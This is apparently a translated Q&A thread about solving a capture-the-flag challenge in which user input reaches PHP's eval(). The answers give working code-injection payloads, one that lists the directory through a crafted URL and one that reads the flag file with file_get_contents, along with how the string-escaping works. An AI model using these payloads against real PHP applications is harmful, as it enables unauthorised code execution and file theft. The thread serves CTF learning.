entrada de PHP directamente a las funciones

2

Soy capaz de ingresar directamente un valor sin casi restricciones en un nido de funciones, pero no estoy seguro de cómo podría explotar esto. Obtuve esto inyectando código PHP en la URL para mostrar el código fuente, tengo que hackear esta función para capturar la bandera oculta en un archivo en el directorio raíz (el mismo directorio que index.php)

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

Este es el enlace que tengo que probar y manipular. ¿Alguna idea sobre lo que podría hacer? No sé el nombre del archivo que contiene la bandera.

    
pregunta TheHidden 01.10.2015 - 15:07
fuente

2 respuestas

2

Inyecte esto en eval () y mostrará la lista de archivos del directorio:

';var_dump(scandir(getcwd()));?>

en url:

/download.php?file=files/read_me.txt%27);var_dump(scandir(getcwd()));?>

    
respondido por el M3lazim 03.10.2015 - 14:57
fuente
2

Si controla el parámetro $ fileName, puede modificar la siguiente línea desde

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

a

eval("fwrite(fopen('stats/stats.txt','a'),'some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('');"); ?>

$fileName se establece en some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('

Entonces, ¿qué pasa? La cadena some_file.txt'); garantiza que se llame correctamente a fwrite (suponga que el archivo existe y tiene los permisos adecuados) y finaliza el comando con ; .

Luego obtenemos el contenido del archivo de desafío y los mostramos con

echo file_get_contents('challenge_file.txt');

echo(' se expande a echo(''); para que el código php resultante sea sintácticamente válido.

    
respondido por el Sebi 01.10.2015 - 16:38
fuente

Lea otras preguntas en las etiquetas